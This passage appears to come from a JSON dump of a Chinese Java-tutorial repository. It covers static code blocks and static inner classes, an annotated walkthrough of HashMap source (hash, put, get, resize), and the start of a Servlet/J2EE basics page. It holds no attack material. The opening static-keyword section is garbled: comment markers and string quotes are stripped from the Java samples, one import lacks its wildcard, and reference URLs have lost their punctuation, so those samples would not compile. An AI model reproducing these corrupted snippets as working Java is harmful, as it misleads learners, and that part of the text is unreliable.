\n}\n```\n\n\n一个类中的静态代码块可以有多个，位置可以随便放，它不在任何的方法体内，JVM加载类时会执行这些静态的代码块，如果静态代码块有多个，JVM将按照它们在类中出现的先后顺序依次执行它们，每个代码块只会被执行一次。\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-14/88531075.jpg)\n\n静态代码块对于定义在它之后的静态变量，可以赋值，但是不能访问.\n\n\n### 静态内部类\n\n静态内部类与非静态内部类之间存在一个最大的区别，我们知道非静态内部类在编译完成之后会隐含地保存着一个引用，该引用是指向创建它的外围类，但是静态内部类却没有。没有这个引用就意味着：\n\n1.  它的创建是不需要依赖外围类的创建。\n2.  它不能使用任何外围类的非static成员变量和方法。\n\n\nExample（静态内部类实现单例模式）\n\n```java\npublic class Singleton {\n    \n    声明为 private 避免调用默认构造方法创建对象\n    private Singleton() {\n    }\n    \n    声明为 private 表明静态内部该类只能在该 Singleton 类中被访问\n    private static class SingletonHolder {\n        private static final Singleton INSTANCE = new Singleton();\n    }\n\n    public static Singleton getUniqueInstance() {\n        return SingletonHolder.INSTANCE;\n    }\n}\n```\n\n当 Singleton 类加载时，静态内部类 SingletonHolder 没有被加载进内存。只有当调用 `getUniqueInstance() `方法从而触发 `SingletonHolder.INSTANCE` 时 SingletonHolder 才会被加载，此时初始化 INSTANCE 实例，并且 JVM 能确保 INSTANCE 只被实例化一次。\n\n这种方式不仅具有延迟初始化的好处，而且由 JVM 提供了对线程安全的支持。\n\n### 静态导包\n\n格式为：import static \n\n这两个关键字连用可以指定导入某个类中的指定静态资源，并且不需要使用类名调用类中静态成员，可以直接使用类中静态成员变量和成员方法\n\n```java\n\n\n  Math. --- 将Math中的所有静态资源导入，这时候可以直接使用里面的静态方法，而不用通过类名进行调用\n  如果只想导入单一某个静态方法，只需要将换成对应的方法名即可\n \nimport static java.lang.Math.;\n\n  换成import static java.lang.Math.max;具有一样的效果\n \npublic class Demo {\n  public static void main(String[] args) {\n \n    int max = max(1,2);\n    System.out.println(max);\n  }\n}\n\n```\n\n\n##  补充内容\n\n### 静态方法与非静态方法\n\n静态方法属于类本身，非静态方法属于从该类生成的每个对象。 如果您的方法执行的操作不依赖于其类的各个变量和方法，请将其设置为静态（这将使程序的占用空间更小）。 否则，它应该是非静态的。\n\nExample\n\n```java\nclass Foo {\n    int i;\n    public Foo(int i) { \n       this.i = i;\n    }\n\n    public static String method1() {\n       return An example string that doesn't depend on i (an instance variable);\n       \n    }\n\n    public int method2() {\n       return this.i + 1;  Depends on i\n    }\n\n}\n```\n你可以像这样调用静态方法：`Foo.method1（）`。 如果您尝试使用这种方法调用 method2 将失败。 但这样可行：`Foo bar = new Foo（1）;bar.method2（）;`\n\n总结：\n\n- 在外部调用静态方法时，可以使用”类名.方法名”的方式，也可以使用”对象名.方法名”的方式。而实例方法只有后面这种方式。也就是说，调用静态方法可以无需创建对象。 \n- 静态方法在访问本类的成员时，只允许访问静态成员（即静态成员变量和静态方法），而不允许访问实例成员变量和实例方法；实例方法则无此限制 \n\n### static{}静态代码块与{}非静态代码块(构造代码块)\n\n相同点： 都是在JVM加载类时且在构造方法执行之前执行，在类中都可以定义多个，定义多个时按定义的顺序执行，一般在代码块中对一些static变量进行赋值。 \n\n不同点： 静态代码块在非静态代码块之前执行(静态代码块—非静态代码块—构造方法)。静态代码块只在第一次new执行一次，之后不再执行，而非静态代码块在每new一次就执行一次。 非静态代码块可在普通方法中定义(不过作用不大)；而静态代码块不行。 \n\n一般情况下,如果有些代码比如一些项目最常用的变量或对象必须在项目启动的时候就执行的时候,需要使用静态代码块,这种代码是主动执行的。如果我们想要设计不需要创建对象就可以调用类中的方法，例如：Arrays类，Character类，String类等，就需要使用静态方法, 两者的区别是 静态代码块是自动执行的而静态方法是被调用的时候才执行的. \n\nExample\n\n```java\npublic class Test {\n    public Test() {\n        System.out.print(默认构造方法！--);\n    }\n\n     非静态代码块\n    {\n        System.out.print(非静态代码块！--);\n    }\n     静态代码块\n    static {\n        System.out.print(静态代码块！--);\n    }\n\n    public static void test() {\n        System.out.print(静态方法中的内容! --);\n        {\n            System.out.print(静态方法中的代码块！--);\n        }\n\n    }\n    public static void main(String[] args) {\n\n        Test test = new Test();   \n        Test.test();静态代码块！--静态方法中的内容! --静态方法中的代码块！--\n    }\n```\n\n当执行 `Test.test();` 时输出：\n\n```\n静态代码块！--静态方法中的内容! --静态方法中的代码块！--\n```\n\n当执行 `Test test = new Test();` 时输出：\n\n```\n静态代码块！--非静态代码块！--默认构造方法！--\n```\n\n\n非静态代码块与构造函数的区别是： 非静态代码块是给所有对象进行统一初始化，而构造函数是给对应的对象初始化，因为构造函数是可以多个的，运行哪个构造函数就会建立什么样的对象，但无论建立哪个对象，都会先执行相同的构造代码块。也就是说，构造代码块中定义的是不同对象共性的初始化内容。 \n\n### 参考\n\n- httpsblog.csdn.netchen13579867831articledetails78995480\n- httpwww.cnblogs.comchenssyp3388487.html\n- httpwww.cnblogs.comQian123p5713440.html\n"
  },
  {
    "path": "docs/java/HashMap.md",
    "content": "<!-- MarkdownTOC -->\n\n- [HashMap 简介](#hashmap-简介)\n- [底层数据结构分析](#底层数据结构分析)\n  - [JDK1.8之前](#jdk18之前)\n  - [JDK1.8之后](#jdk18之后)\n- [HashMap源码分析](#hashmap源码分析)\n  - [构造方法](#构造方法)\n  - [put方法](#put方法)\n  - [get方法](#get方法)\n  - [resize方法](#resize方法)\n- [HashMap常用方法测试](#hashmap常用方法测试)\n\n<!-- /MarkdownTOC -->\n\n> 感谢 [changfubai](https://github.com/changfubai) 对本文的改进做出的贡献！\n\n## HashMap 简介\nHashMap 主要用来存放键值对，它基于哈希表的Map接口实现</font>，是常用的Java集合之一。 \n\nJDK1.8 之前 HashMap 由 数组+链表 组成的，数组是 HashMap 的主体，链表则是主要为了解决哈希冲突而存在的（“拉链法”解决冲突）.JDK1.8 以后在解决哈希冲突时有了较大的变化，当链表长度大于阈值（默认为 8）时，将链表转化为红黑树，以减少搜索时间。\n\n## 底层数据结构分析\n### JDK1.8之前\nJDK1.8 之前 HashMap 底层是 **数组和链表** 结合在一起使用也就是 **链表散列**。**HashMap 通过 key 的 hashCode 经过扰动函数处理过后得到 hash  值，然后通过 `(n - 1) & hash` 判断当前元素存放的位置（这里的 n 指的是数组的长度），如果当前位置存在元素的话，就判断该元素与要存入的元素的 hash 值以及 key 是否相同，如果相同的话，直接覆盖，不相同就通过拉链法解决冲突。**\n\n**所谓扰动函数指的就是 HashMap 的 hash 方法。使用 hash 方法也就是扰动函数是为了防止一些实现比较差的 hashCode() 方法 换句话说使用扰动函数之后可以减少碰撞。**\n\n**JDK 1.8 HashMap 的 hash 方法源码:**\n\nJDK 1.8 的 hash方法 相比于 JDK 1.7 hash 方法更加简化，但是原理不变。\n\n  ```java\n      static final int hash(Object key) {\n        int h;\n        // key.hashCode()：返回散列值也就是hashcode\n        // ^ ：按位异或\n        // >>>:无符号右移，忽略符号位，空位都以0补齐\n        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);\n    }\n  ```\n对比一下 JDK1.7的 HashMap 的 hash 方法源码.\n\n```java\nstatic int hash(int h) {\n    // This function ensures that hashCodes that differ only by\n    // constant multiples at each bit position have a bounded\n    // number of collisions (approximately 8 at default load factor).\n\n    h ^= (h >>> 20) ^ (h >>> 12);\n    return h ^ (h >>> 7) ^ (h >>> 4);\n}\n```\n\n相比于 JDK1.8 的 hash 方法 ，JDK 1.7 的 hash 方法的性能会稍差一点点，因为毕竟扰动了 4 次。\n\n所谓 **“拉链法”** 就是：将链表和数组相结合。也就是说创建一个链表数组，数组中每一格就是一个链表。若遇到哈希冲突，则将冲突的值加到链表中即可。\n\n![jdk1.8之前的内部结构](https://user-gold-cdn.xitu.io/2018/3/20/16240dbcc303d872?w=348&h=427&f=png&s=10991)\n\n### JDK1.8之后\n相比于之前的版本，jdk1.8在解决哈希冲突时有了较大的变化，当链表长度大于阈值（默认为8）时，将链表转化为红黑树，以减少搜索时间。\n\n![JDK1.8之后的HashMap底层数据结构](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-22/67233764.jpg)\n\n**类的属性：**\n```java\npublic class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {\n    // 序列号\n    private static final long serialVersionUID = 362498820763181265L;    \n    // 默认的初始容量是16\n    static final int DEFAULT_INITIAL_CAPACITY = 1 << 4;   \n    // 最大容量\n    static final int MAXIMUM_CAPACITY = 1 << 30; \n    // 默认的填充因子\n    static final float DEFAULT_LOAD_FACTOR = 0.75f;\n    // 当桶(bucket)上的结点数大于这个值时会转成红黑树\n    static final int TREEIFY_THRESHOLD = 8; \n    // 当桶(bucket)上的结点数小于这个值时树转链表\n    static final int UNTREEIFY_THRESHOLD = 6;\n    // 桶中结构转化为红黑树对应的table的最小大小\n    static final int MIN_TREEIFY_CAPACITY = 64;\n    // 存储元素的数组，总是2的幂次倍\n    transient Node<k,v>[] table; \n    // 存放具体元素的集\n    transient Set<map.entry<k,v>> entrySet;\n    // 存放元素的个数，注意这个不等于数组的长度。\n    transient int size;\n    // 每次扩容和更改map结构的计数器\n    transient int modCount;   \n    // 临界值 当实际大小(容量*填充因子)超过临界值时，会进行扩容\n    int threshold;\n    // 加载因子\n    final float loadFactor;\n}\n```\n- **loadFactor加载因子**\n\n  loadFactor加载因子是控制数组存放数据的疏密程度，loadFactor越趋近于1，那么   数组中存放的数据(entry)也就越多，也就越密，也就是会让链表的长度增加，loadFactor越小，也就是趋近于0，数组中存放的数据(entry)也就越少，也就越稀疏。\n\n  **loadFactor太大导致查找元素效率低，太小导致数组的利用率低，存放的数据会很分散。loadFactor的默认值为0.75f是官方给出的一个比较好的临界值**。 \n  \n  给定的默认容量为 16，负载因子为 0.75。Map 在使用过程中不断的往里面存放数据，当数量达到了 16 * 0.75 = 12 就需要将当前 16 的容量进行扩容，而扩容这个过程涉及到 rehash、复制数据等操作，所以非常消耗性能。\n\n- **threshold**\n\n  **threshold = capacity * loadFactor**，**当Size>=threshold**的时候，那么就要考虑对数组的扩增了，也就是说，这个的意思就是 **衡量数组是否需要扩增的一个标准**。\n\n**Node节点类源码:**\n\n```java\n// 继承自 Map.Entry<K,V>\nstatic class Node<K,V> implements Map.Entry<K,V> {\n       final int hash;// 哈希值，存放元素到hashmap中时用来与其他元素hash值比较\n       final K key;//键\n       V value;//值\n       // 指向下一个节点\n       Node<K,V> next;\n       Node(int hash, K key, V value, Node<K,V> next) {\n            this.hash = hash;\n            this.key = key;\n            this.value = value;\n            this.next = next;\n        }\n        public final K getKey()        { return key; }\n        public final V getValue()      { return value; }\n        public final String toString() { return key + \"=\" + value; }\n        // 重写hashCode()方法\n        public final int hashCode() {\n            return Objects.hashCode(key) ^ Objects.hashCode(value);\n        }\n\n        public final V setValue(V newValue) {\n            V oldValue = value;\n            value = newValue;\n            return oldValue;\n        }\n        // 重写 equals() 方法\n        public final boolean equals(Object o) {\n            if (o == this)\n                return true;\n            if (o instanceof Map.Entry) {\n                Map.Entry<?,?> e = (Map.Entry<?,?>)o;\n                if (Objects.equals(key, e.getKey()) &&\n                    Objects.equals(value, e.getValue()))\n                    return true;\n            }\n            return false;\n        }\n}\n```\n**树节点类源码:**\n```java\nstatic final class TreeNode<K,V> extends LinkedHashMap.Entry<K,V> {\n        TreeNode<K,V> parent;  // 父\n        TreeNode<K,V> left;    // 左\n        TreeNode<K,V> right;   // 右\n        TreeNode<K,V> prev;    // needed to unlink next upon deletion\n        boolean red;           // 判断颜色\n        TreeNode(int hash, K key, V val, Node<K,V> next) {\n            super(hash, key, val, next);\n        }\n        // 返回根节点\n        final TreeNode<K,V> root() {\n            for (TreeNode<K,V> r = this, p;;) {\n                if ((p = r.parent) == null)\n                    return r;\n                r = p;\n       }\n```\n## HashMap源码分析\n### 构造方法\n![四个构造方法](https://user-gold-cdn.xitu.io/2018/3/20/162410d912a2e0e1?w=336&h=90&f=jpeg&s=26744)\n```java\n    // 默认构造函数。\n    public HashMap() {\n        this.loadFactor = DEFAULT_LOAD_FACTOR; // all   other fields defaulted\n     }\n     \n     // 包含另一个“Map”的构造函数\n     public HashMap(Map<? extends K, ? extends V> m) {\n         this.loadFactor = DEFAULT_LOAD_FACTOR;\n         putMapEntries(m, false);//下面会分析到这个方法\n     }\n     \n     // 指定“容量大小”的构造函数\n     public HashMap(int initialCapacity) {\n         this(initialCapacity, DEFAULT_LOAD_FACTOR);\n     }\n     \n     // 指定“容量大小”和“加载因子”的构造函数\n     public HashMap(int initialCapacity, float loadFactor) {\n         if (initialCapacity < 0)\n             throw new IllegalArgumentException(\"Illegal initial capacity: \" + initialCapacity);\n         if (initialCapacity > MAXIMUM_CAPACITY)\n             initialCapacity = MAXIMUM_CAPACITY;\n         if (loadFactor <= 0 || Float.isNaN(loadFactor))\n             throw new IllegalArgumentException(\"Illegal load factor: \" + loadFactor);\n         this.loadFactor = loadFactor;\n         this.threshold = tableSizeFor(initialCapacity);\n     }\n```\n\n**putMapEntries方法：**\n\n```java\nfinal void putMapEntries(Map<? extends K, ? extends V> m, boolean evict) {\n    int s = m.size();\n    if (s > 0) {\n        // 判断table是否已经初始化\n        if (table == null) { // pre-size\n            // 未初始化，s为m的实际元素个数\n            float ft = ((float)s / loadFactor) + 1.0F;\n            int t = ((ft < (float)MAXIMUM_CAPACITY) ?\n                    (int)ft : MAXIMUM_CAPACITY);\n            // 计算得到的t大于阈值，则初始化阈值\n            if (t > threshold)\n                threshold = tableSizeFor(t);\n        }\n        // 已初始化，并且m元素个数大于阈值，进行扩容处理\n        else if (s > threshold)\n            resize();\n        // 将m中的所有元素添加至HashMap中\n        for (Map.Entry<? extends K, ? extends V> e : m.entrySet()) {\n            K key = e.getKey();\n            V value = e.getValue();\n            putVal(hash(key), key, value, false, evict);\n        }\n    }\n}\n```\n### put方法\nHashMap只提供了put用于添加元素，putVal方法只是给put方法调用的一个方法，并没有提供给用户使用。\n\n**对putVal方法添加元素的分析如下：**\n\n- ①如果定位到的数组位置没有元素 就直接插入。\n- ②如果定位到的数组位置有元素就和要插入的key比较，如果key相同就直接覆盖，如果key不相同，就判断p是否是一个树节点，如果是就调用`e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value)`将元素添加进入。如果不是就遍历链表插入。\n\n\n\n![put方法](https://user-gold-cdn.xitu.io/2018/9/2/16598bf758c747e6?w=999&h=679&f=png&s=54486)\n\n```java\npublic V put(K key, V value) {\n    return putVal(hash(key), key, value, false, true);\n}\n\nfinal V putVal(int hash, K key, V value, boolean onlyIfAbsent,\n                   boolean evict) {\n    Node<K,V>[] tab; Node<K,V> p; int n, i;\n    // table未初始化或者长度为0，进行扩容\n    if ((tab = table) == null || (n = tab.length) == 0)\n        n = (tab = resize()).length;\n    // (n - 1) & hash 确定元素存放在哪个桶中，桶为空，新生成结点放入桶中(此时，这个结点是放在数组中)\n    if ((p = tab[i = (n - 1) & hash]) == null)\n        tab[i] = newNode(hash, key, value, null);\n    // 桶中已经存在元素\n    else {\n        Node<K,V> e; K k;\n        // 比较桶中第一个元素(数组中的结点)的hash值相等，key相等\n        if (p.hash == hash &&\n            ((k = p.key) == key || (key != null && key.equals(k))))\n                // 将第一个元素赋值给e，用e来记录\n                e = p;\n        // hash值不相等，即key不相等；为红黑树结点\n        else if (p instanceof TreeNode)\n            // 放入树中\n            e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);\n        // 为链表结点\n        else {\n            // 在链表最末插入结点\n            for (int binCount = 0; ; ++binCount) {\n                // 到达链表的尾部\n                if ((e = p.next) == null) {\n                    // 在尾部插入新结点\n                    p.next = newNode(hash, key, value, null);\n                    // 结点数量达到阈值，转化为红黑树\n                    if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st\n                        treeifyBin(tab, hash);\n                    // 跳出循环\n                    break;\n                }\n                // 判断链表中结点的key值与插入的元素的key值是否相等\n                if (e.hash == hash &&\n                    ((k = e.key) == key || (key != null && key.equals(k))))\n                    // 相等，跳出循环\n                    break;\n                // 用于遍历桶中的链表，与前面的e = p.next组合，可以遍历链表\n                p = e;\n            }\n        }\n        // 表示在桶中找到key值、hash值与插入元素相等的结点\n        if (e != null) { \n            // 记录e的value\n            V oldValue = e.value;\n            // onlyIfAbsent为false或者旧值为null\n            if (!onlyIfAbsent || oldValue == null)\n                //用新值替换旧值\n                e.value = value;\n            // 访问后回调\n            afterNodeAccess(e);\n            // 返回旧值\n            return oldValue;\n        }\n    }\n    // 结构性修改\n    ++modCount;\n    // 实际大小大于阈值则扩容\n    if (++size > threshold)\n        resize();\n    // 插入后回调\n    afterNodeInsertion(evict);\n    return null;\n} \n```\n\n**我们再来对比一下 JDK1.7 put方法的代码**\n\n**对于put方法的分析如下：**\n\n- ①如果定位到的数组位置没有元素 就直接插入。\n- ②如果定位到的数组位置有元素，遍历以这个元素为头结点的链表，依次和插入的key比较，如果key相同就直接覆盖，不同就采用头插法插入元素。\n\n```java\npublic V put(K key, V value)\n    if (table == EMPTY_TABLE) { \n    inflateTable(threshold); \n}  \n    if (key == null)\n        return putForNullKey(value);\n    int hash = hash(key);\n    int i = indexFor(hash, table.length);\n    for (Entry<K,V> e = table[i]; e != null; e = e.next) { // 先遍历\n        Object k;\n        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {\n            V oldValue = e.value;\n            e.value = value;\n            e.recordAccess(this);\n            return oldValue; \n        }\n    }\n\n    modCount++;\n    addEntry(hash, key, value, i);  // 再插入\n    return null;\n}\n```\n\n\n\n### get方法\n```java\npublic V get(Object key) {\n    Node<K,V> e;\n    return (e = getNode(hash(key), key)) == null ? null : e.value;\n}\n\nfinal Node<K,V> getNode(int hash, Object key) {\n    Node<K,V>[] tab; Node<K,V> first, e; int n; K k;\n    if ((tab = table) != null && (n = tab.length) > 0 &&\n        (first = tab[(n - 1) & hash]) != null) {\n        // 数组元素相等\n        if (first.hash == hash && // always check first node\n            ((k = first.key) == key || (key != null && key.equals(k))))\n            return first;\n        // 桶中不止一个节点\n        if ((e = first.next) != null) {\n            // 在树中get\n            if (first instanceof TreeNode)\n                return ((TreeNode<K,V>)first).getTreeNode(hash, key);\n            // 在链表中get\n            do {\n                if (e.hash == hash &&\n                    ((k = e.key) == key || (key != null && key.equals(k))))\n                    return e;\n            } while ((e = e.next) != null);\n        }\n    }\n    return null;\n}\n```\n### resize方法\n进行扩容，会伴随着一次重新hash分配，并且会遍历hash表中所有的元素，是非常耗时的。在编写程序中，要尽量避免resize。\n```java\nfinal Node<K,V>[] resize() {\n    Node<K,V>[] oldTab = table;\n    int oldCap = (oldTab == null) ? 0 : oldTab.length;\n    int oldThr = threshold;\n    int newCap, newThr = 0;\n    if (oldCap > 0) {\n        // 超过最大值就不再扩充了，就只好随你碰撞去吧\n        if (oldCap >= MAXIMUM_CAPACITY) {\n            threshold = Integer.MAX_VALUE;\n            return oldTab;\n        }\n        // 没超过最大值，就扩充为原来的2倍\n        else if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY && oldCap >= DEFAULT_INITIAL_CAPACITY)\n            newThr = oldThr << 1; // double threshold\n    }\n    else if (oldThr > 0) // initial capacity was placed in threshold\n        newCap = oldThr;\n    else { \n        // signifies using defaults\n        newCap = DEFAULT_INITIAL_CAPACITY;\n        newThr = (int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY);\n    }\n    // 计算新的resize上限\n    if (newThr == 0) {\n        float ft = (float)newCap * loadFactor;\n        newThr = (newCap < MAXIMUM_CAPACITY && ft < (float)MAXIMUM_CAPACITY ? (int)ft : Integer.MAX_VALUE);\n    }\n    threshold = newThr;\n    @SuppressWarnings({\"rawtypes\",\"unchecked\"})\n        Node<K,V>[] newTab = (Node<K,V>[])new Node[newCap];\n    table = newTab;\n    if (oldTab != null) {\n        // 把每个bucket都移动到新的buckets中\n        for (int j = 0; j < oldCap; ++j) {\n            Node<K,V> e;\n            if ((e = oldTab[j]) != null) {\n                oldTab[j] = null;\n                if (e.next == null)\n                    newTab[e.hash & (newCap - 1)] = e;\n                else if (e instanceof TreeNode)\n                    ((TreeNode<K,V>)e).split(this, newTab, j, oldCap);\n                else { \n                    Node<K,V> loHead = null, loTail = null;\n                    Node<K,V> hiHead = null, hiTail = null;\n                    Node<K,V> next;\n                    do {\n                        next = e.next;\n                        // 原索引\n                        if ((e.hash & oldCap) == 0) {\n                            if (loTail == null)\n                                loHead = e;\n                            else\n                                loTail.next = e;\n                            loTail = e;\n                        }\n                        // 原索引+oldCap\n                        else {\n                            if (hiTail == null)\n                                hiHead = e;\n                            else\n                                hiTail.next = e;\n                            hiTail = e;\n                        }\n                    } while ((e = next) != null);\n                    // 原索引放到bucket里\n                    if (loTail != null) {\n                        loTail.next = null;\n                        newTab[j] = loHead;\n                    }\n                    // 原索引+oldCap放到bucket里\n                    if (hiTail != null) {\n                        hiTail.next = null;\n                        newTab[j + oldCap] = hiHead;\n                    }\n                }\n            }\n        }\n    }\n    return newTab;\n}\n```\n## HashMap常用方法测试\n```java\npackage map;\n\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.Set;\n\npublic class HashMapDemo {\n\n    public static void main(String[] args) {\n        HashMap<String, String> map = new HashMap<String, String>();\n        // 键不能重复，值可以重复\n        map.put(\"san\", \"张三\");\n        map.put(\"si\", \"李四\");\n        map.put(\"wu\", \"王五\");\n        map.put(\"wang\", \"老王\");\n        map.put(\"wang\", \"老王2\");// 老王被覆盖\n        map.put(\"lao\", \"老王\");\n        System.out.println(\"-------直接输出hashmap:-------\");\n        System.out.println(map);\n        /**\n         * 遍历HashMap\n         */\n        // 1.获取Map中的所有键\n        System.out.println(\"-------foreach获取Map中所有的键:------\");\n        Set<String> keys = map.keySet();\n        for (String key : keys) {\n            System.out.print(key+\"  \");\n        }\n        System.out.println();//换行\n        // 2.获取Map中所有值\n        System.out.println(\"-------foreach获取Map中所有的值:------\");\n        Collection<String> values = map.values();\n        for (String value : values) {\n            System.out.print(value+\"  \");\n        }\n        System.out.println();//换行\n        // 3.得到key的值的同时得到key所对应的值\n        System.out.println(\"-------得到key的值的同时得到key所对应的值:-------\");\n        Set<String> keys2 = map.keySet();\n        for (String key : keys2) {\n            System.out.print(key + \"：\" + map.get(key)+\"   \");\n\n        }\n        /**\n         * 另外一种不常用的遍历方式\n         */\n        // 当我调用put(key,value)方法的时候，首先会把key和value封装到\n        // Entry这个静态内部类对象中，把Entry对象再添加到数组中，所以我们想获取\n        // map中的所有键值对，我们只要获取数组中的所有Entry对象，接下来\n        // 调用Entry对象中的getKey()和getValue()方法就能获取键值对了\n        Set<java.util.Map.Entry<String, String>> entrys = map.entrySet();\n        for (java.util.Map.Entry<String, String> entry : entrys) {\n            System.out.println(entry.getKey() + \"--\" + entry.getValue());\n        }\n        \n        /**\n         * HashMap其他常用方法\n         */\n        System.out.println(\"after map.size()：\"+map.size());\n        System.out.println(\"after map.isEmpty()：\"+map.isEmpty());\n        System.out.println(map.remove(\"san\"));\n        System.out.println(\"after map.remove()：\"+map);\n        System.out.println(\"after map.get(si)：\"+map.get(\"si\"));\n        System.out.println(\"after map.containsKey(si)：\"+map.containsKey(\"si\"));\n        System.out.println(\"after containsValue(李四)：\"+map.containsValue(\"李四\"));\n        System.out.println(map.replace(\"si\", \"李四2\"));\n        System.out.println(\"after map.replace(si, 李四2):\"+map);\n    }\n\n}\n\n```\n"
  },
  {
    "path": "docs/java/J2EE基础知识.md",
    "content": "<!-- MarkdownTOC -->\n\n- [Servlet总结](#servlet总结)\n- [阐述Servlet和CGI的区别?](#阐述servlet和cgi的区别)\n    - [CGI的不足之处:](#cgi的不足之处)\n    - [Servlet的优点：](#servlet的优点)\n- [Servlet接口中有哪些方法及Servlet生命周期探秘](#servlet接口中有哪些方法及servlet生命周期探秘)\n- [get和post请求的区别](#get和post请求的区别)\n- [什么情况下调用doGet\\(\\)和doPost\\(\\)](#什么情况下调用doget和dopost)\n- [转发（Forward）和重定向（Redirect）的区别](#转发forward和重定向redirect的区别)\n- [自动刷新\\(Refresh\\)](#自动刷新refresh)\n- [Servlet与线程安全](#servlet与线程安全)\n- [JSP和Servlet是什么关系](#jsp和servlet是什么关系)\n- [JSP工作原理](#jsp工作原理)\n- [JSP有哪些内置对象、作用分别是什么](#jsp有哪些内置对象、作用分别是什么)\n- [Request对象的主要方法有哪些](#request对象的主要方法有哪些)\n- [request.getAttribute\\(\\)和 request.getParameter\\(\\)有何区别](#requestgetattribute和-requestgetparameter有何区别)\n- [include指令include的行为的区别](#include指令include的行为的区别)\n- [JSP九大内置对象，七大动作，三大指令](#jsp九大内置对象，七大动作，三大指令)\n- [讲解JSP中的四种作用域](#讲解jsp中的四种作用域)\n- [如何实现JSP或Servlet的单线程模式](#如何实现jsp或servlet的单线程模式)\n- [实现会话跟踪的技术有哪些](#实现会话跟踪的技术有哪些)\n- [Cookie和Session的的区别](#cookie和session的的区别)\n- [Spring入门教程](http://how2j.cn/k/spring/spring-ioc-di/87.html)\n- [最全面的Spring学习笔记](https://www.cnblogs.com/wangyayun/p/6800902.html)\n- [Spring-root入门](docs/android/AndroidNote/JavaNote/Javaee/Spring-boot入门.md)\n- [Spring Boot 配置文件 – 在坑中实践](https://www.bysocket.com/?p=1786)\n- [Spring Boot 之 RESRful API 权限控制](https://www.bysocket.com/?p=1080)\n- [Spring Boot 整合 Redis 实现缓存操作](https://www.bysocket.com/?p=1756)\n- [Spring Boot 官方文档](https://docs.spring.io/spring-boot/docs/current-SNAPSHOT/reference/htmlsingle/　　)\n\n<!-- /MarkdownTOC -->\n\n## Servlet总结\n\n在Java Web程序中，**Servlet**主要负责接收用户请求**HttpServletRequest**,在**doGet()**,**doPost()**中做相应的处理，并将回应**HttpServletResponse**反馈给用户。Servlet可以设置初始化参数，供Servlet内部使用。一个Servlet类只会有一个实例，在它初始化时调用**init()方法**，销毁时调用**destroy()方法**。**Servlet需要在web.xml中配置**（MyEclipse中创建Servlet会自动配置），**一个Servlet可以设置多个URL访问**。**Servlet不是线程安全**，因此要谨慎使用类变量。\n\n## 阐述Servlet和CGI的区别?\n\n### CGI的不足之处:\n\n1，需要为每个请求启动一个操作CGI程序的系统进程。如果请求频繁，这将会带来很大的开销。\n\n2，需要为每个请求加载和运行一个CGI程序，这将带来很大的开销 \n\n3，需要重复编写处理网络协议的代码以及编码，这些工作都是非常耗时的。\n\n### Servlet的优点:\n\n1，只需要启动一个操作系统进程以及加载一个JVM，大大降低了系统的开销\n\n2，如果多个请求需要做同样处理的时候，这时候只需要加载一个类，这也大大降低了开销\n\n3，所有动态加载的类可以实现对网络协议以及请求解码的共享，大大降低了工作量。\n\n4，Servlet能直接和Web服务器交互，而普通的CGI程序不能。Servlet还能在各个程序之间共享数据，使数据库连接池之类的功能很容易实现。\n\n补充：Sun Microsystems公司在1996年发布Servlet技术就是为了和CGI进行竞争，Servlet是一个特殊的Java程序，一个基于Java的Web应用通常包含一个或多个Servlet类。Servlet不能够自行创建并执行，它是在Servlet容器中运行的，容器将用户的请求传递给Servlet程序，并将Servlet的响应回传给用户。通常一个Servlet会关联一个或多个JSP页面。以前CGI经常因为性能开销上的问题被诟病，然而Fast CGI早就已经解决了CGI效率上的问题，所以面试的时候大可不必信口开河的诟病CGI，事实上有很多你熟悉的网站都使用了CGI技术。\n\n参考：《javaweb整合开发王者归来》P7\n\n## Servlet接口中有哪些方法及Servlet生命周期探秘\nServlet接口定义了5个方法，其中**前三个方法与Servlet生命周期相关**：\n\n- **void init(ServletConfig config) throws ServletException**\n- **void service(ServletRequest req, ServletResponse resp) throws ServletException, java.io.IOException**\n- **void destory()**\n- java.lang.String getServletInfo()\n- ServletConfig getServletConfig()\n\n**生命周期：** **Web容器加载Servlet并将其实例化后，Servlet生命周期开始**，容器运行其**init()方法**进行Servlet的初始化；请求到达时调用Servlet的**service()方法**，service()方法会根据需要调用与请求对应的**doGet或doPost**等方法；当服务器关闭或项目被卸载时服务器会将Servlet实例销毁，此时会调用Servlet的**destroy()方法**。**init方法和destroy方法只会执行一次，service方法客户端每次请求Servlet都会执行**。Servlet中有时会用到一些需要初始化与销毁的资源，因此可以把初始化资源的代码放入init方法中，销毁资源的代码放入destroy方法中，这样就不需要每次处理客户端的请求都要初始化与销毁资源。\n\n参考：《javaweb整合开发王者归来》P81\n\n## get和post请求的区别\n\n> 网上也有文章说：get和post请求实际上是没有区别，大家可以自行查询相关文章（参考文章：[https://www.cnblogs.com/logsharing/p/8448446.html](https://www.cnblogs.com/logsharing/p/8448446.html)，知乎对应的问题链接：[get和post区别？](https://www.zhihu.com/question/28586791)）！我下面给出的只是一种常见的答案。\n\n①get请求用来从服务器上获得资源，而post是用来向服务器提交数据；\n\n②get将表单中数据按照name=value的形式，添加到action 所指向的URL 后面，并且两者使用\"?\"连接，而各个变量之间使用\"&\"连接；post是将表单中的数据放在HTTP协议的请求头或消息体中，传递到action所指向URL；\n\n③get传输的数据要受到URL长度限制（最大长度是 2048 个字符）；而post可以传输大量的数据，上传文件通常要使用post方式；\n\n④使用get时参数会显示在地址栏上，如果这些数据不是敏感数据，那么可以使用get；对于敏感数据还是应用使用post；\n\n⑤get使用MIME类型application/x-www-form-urlencoded的URL编码（也叫百分号编码）文本的格式传递参数，保证被传送的参数由遵循规范的文本组成，例如一个空格的编码是\"%20\"。\n\n补充：GET方式提交表单的典型应用是搜索引擎。GET方式就是被设计为查询用的。\n\n还有另外一种回答。推荐大家看一下：\n\n- https://www.zhihu.com/question/28586791\n- https://mp.weixin.qq.com/s?__biz=MzI3NzIzMzg3Mw==&mid=100000054&idx=1&sn=71f6c214f3833d9ca20b9f7dcd9d33e4#rd\n\n## 